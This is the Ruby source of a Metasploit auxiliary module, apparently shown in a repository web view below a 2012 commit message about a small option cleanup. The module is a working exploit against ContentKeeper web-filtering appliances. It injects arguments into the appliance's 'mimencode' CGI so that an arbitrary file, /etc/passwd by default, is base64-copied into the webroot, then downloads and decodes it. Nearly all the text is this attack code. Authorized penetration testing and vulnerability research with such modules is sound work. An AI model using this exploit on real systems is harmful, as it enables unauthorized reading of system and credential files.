Christian Mehlmauer
3752c10ccf
This was tested by creating a resource script to load every changed module and displaying the options, like so: ```` use auxiliary/admin/2wire/xslt_password_reset show options use auxiliary/admin/http/contentkeeper_fileaccess show options ```` ...etc. This was run in both the master branch and FireFart's branch while spooling out the results of msfconsole, then diffing those results. All modules loaded successfully, and there were no changes to the option sets, so it looks like a successful fix. Thanks FireFart! Squashed commit of the following: commit 7c1eea53fe3743f59402e445cf34fab84cf5a4b7 Author: Christian Mehlmauer <FireFart@gmail.com> Date: Fri May 25 22:09:42 2012 +0200 Cleanup Opt::RPORT(80) since it is already registered by Msf::Exploit::Remote::HttpClient
79 lines
2.3 KiB
Ruby
79 lines
2.3 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'ContentKeeper Web Appliance mimencode File Access',
|
|
'Version' => '$Revision$',
|
|
'Description' => %q{
|
|
This module abuses the 'mimencode' binary present within
|
|
ContentKeeper Web filtering appliances to retrieve arbitrary
|
|
files outside of the webroot.
|
|
},
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '54551' ],
|
|
[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
|
|
],
|
|
'Author' => [ 'patrick' ],
|
|
'License' => MSF_LICENSE)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),
|
|
OptString.new('URL', [ true, 'The path to mimencode', '/cgi-bin/ck/mimencode']),
|
|
], self.class)
|
|
end
|
|
|
|
def run_host(ip)
|
|
begin
|
|
tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traveral data in a hard-to-brute filename, just in case.
|
|
|
|
print_status("Attempting to connect to #{rhost}:#{rport}")
|
|
res = send_request_raw(
|
|
{
|
|
'method' => 'POST',
|
|
'uri' => datastore['URL'] + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE'],
|
|
}, 25)
|
|
|
|
if (res and res.code == 500)
|
|
|
|
print_status("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")
|
|
|
|
file = send_request_raw(
|
|
{
|
|
'method' => 'GET',
|
|
'uri' => '/' + tmpfile,
|
|
}, 25)
|
|
|
|
if (file and file.code == 200)
|
|
print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}")
|
|
elsif (file and file.code)
|
|
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
|
|
end
|
|
elsif (res and res.code)
|
|
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
end
|
|
end
|